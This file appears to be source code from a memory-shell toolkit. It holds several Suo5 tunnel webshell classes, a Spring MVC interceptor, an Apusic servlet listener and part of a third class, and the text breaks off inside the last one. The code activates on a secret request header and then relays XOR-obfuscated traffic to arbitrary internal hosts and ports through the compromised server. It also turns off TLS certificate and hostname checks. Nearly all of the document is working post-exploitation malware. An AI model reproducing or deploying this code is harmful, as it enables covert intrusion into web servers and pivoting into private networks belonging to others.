if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
@@ -0,0 +1,582 @@
package com.reajason.javaweb.memshell.springwebmvc.suo5;
import org.springframework.web.servlet.AsyncHandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.net.ssl.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
*/
public class Suo5Interceptor implements AsyncHandlerInterceptor, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5Interceptor() {
}
public Suo5Interceptor(InputStream gInStream, OutputStream gOutStream) {
this.gInStream = gInStream;
this.gOutStream = gOutStream;
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
String contentType = request.getContentType();
if (contentType == null) {
return true;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return false;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
return false;
}
} catch (Exception e) {
e.printStackTrace();
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
@Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Interceptor p = new Suo5Interceptor(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
@@ -0,0 +1,597 @@
package com.reajason.javaweb.memshell.apusic.suo5;
import javax.net.ssl.*;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
* @since 2024/12/15
*/
public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5Listener() {
}
public Suo5Listener(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Listener p = new Suo5Listener(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
